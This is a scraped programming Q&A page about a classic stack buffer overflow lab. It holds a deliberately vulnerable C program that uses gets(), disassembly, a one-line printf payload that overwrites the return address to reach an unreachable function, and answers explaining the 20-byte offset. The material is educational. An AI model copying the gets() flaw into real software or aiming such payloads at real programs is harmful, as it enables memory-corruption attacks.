Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Buffer overflow appeared before it is expected

I'm trying to take a control over a stack overflow. First, here is an example of C code I compiled on an x32 VM Linux (gcc -fno-stack-protector -ggdb -o first first.c),

#include "stdio.h"

int CanNeverExecute()
{
    printf("I can never execute\n");
    return(0);
}

void GetInput()
{
    char buffer[8];

    gets(buffer);
    puts(buffer);
}

int main()
{
    GetInput();
    return(0);
}

Then debugger (intel flavor): dump of assembler code for function GetInput:

0x08048455 <+0>:    push   ebp
0x08048456 <+1>:    mov    ebp,esp
0x08048458 <+3>:    sub    esp,0x28
0x0804845b <+6>:    lea    eax,[ebp-0x10]

Here we can see that sub esp, 0x28 reserves 40 bytes for a buffer variable (Right?). CanNeverExecute function is located in address 0x0804843c. So, in order to run CanNeverExecute function, I need to put 40 bytes into buffer variable, then goes 8 bytes for stored base pointer and then 8 bytes of return pointer I want to change.

So, I need a string of 48 ASCII symbols plus \x3c\x84\x04\x08 in the end (address of the CanNeverExecute function). That is in theory. But In practice I need only 20 bytes before address of the return pointer:

~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)

Why does it need only 20 bytes instead of 48? Where is my mistake?

like image 213
Artur Korobeynyk Avatar asked Mar 12 '13 21:03

Artur Korobeynyk


2 Answers

If You take bigger part of dissassembly You will see:

08048445 <GetInput>:
8048445:    55                      push   %ebp
8048446:    89 e5                   mov    %esp,%ebp
8048448:    83 ec 28                sub    $0x28,%esp
804844b:    8d 45 f0                lea    -0x10(%ebp),%eax
804844e:    89 04 24                mov    %eax,(%esp)
8048451:    e8 9a fe ff ff          call   80482f0 <gets@plt>
8048456:    8d 45 f0                lea    -0x10(%ebp),%eax
8048459:    89 04 24                mov    %eax,(%esp)
804845c:    e8 9f fe ff ff          call   8048300 <puts@plt>
8048461:    c9                      leave  
8048462:    c3                      ret   

ebp is saved, esp is moved to ebp, then 40 is subtracted from esp (stack frame, as you wrote), but pointer to buffer is passed to gets via eax register, and eax is loaded with ebp-0x10!

lea    -0x10(%ebp),%eax

So You need only 20 bytes to overflow the buffer (16 reserved + 4 for stored base pointer on 32-bit system)

like image 23
kowal256 Avatar answered Sep 26 '22 19:09

kowal256


First off, your assembly is 32-bit. Saved EBP and return address are 4 bytes each.

Second, the buffer variable does not start at stack top (ESP) - it starts at ebp-0x10. Which is 20 bytes away from the return address. 0x10 is 16 bytes, then 4 more for the saved EBP.

like image 118
Seva Alekseyev Avatar answered Sep 22 '22 19:09

Seva Alekseyev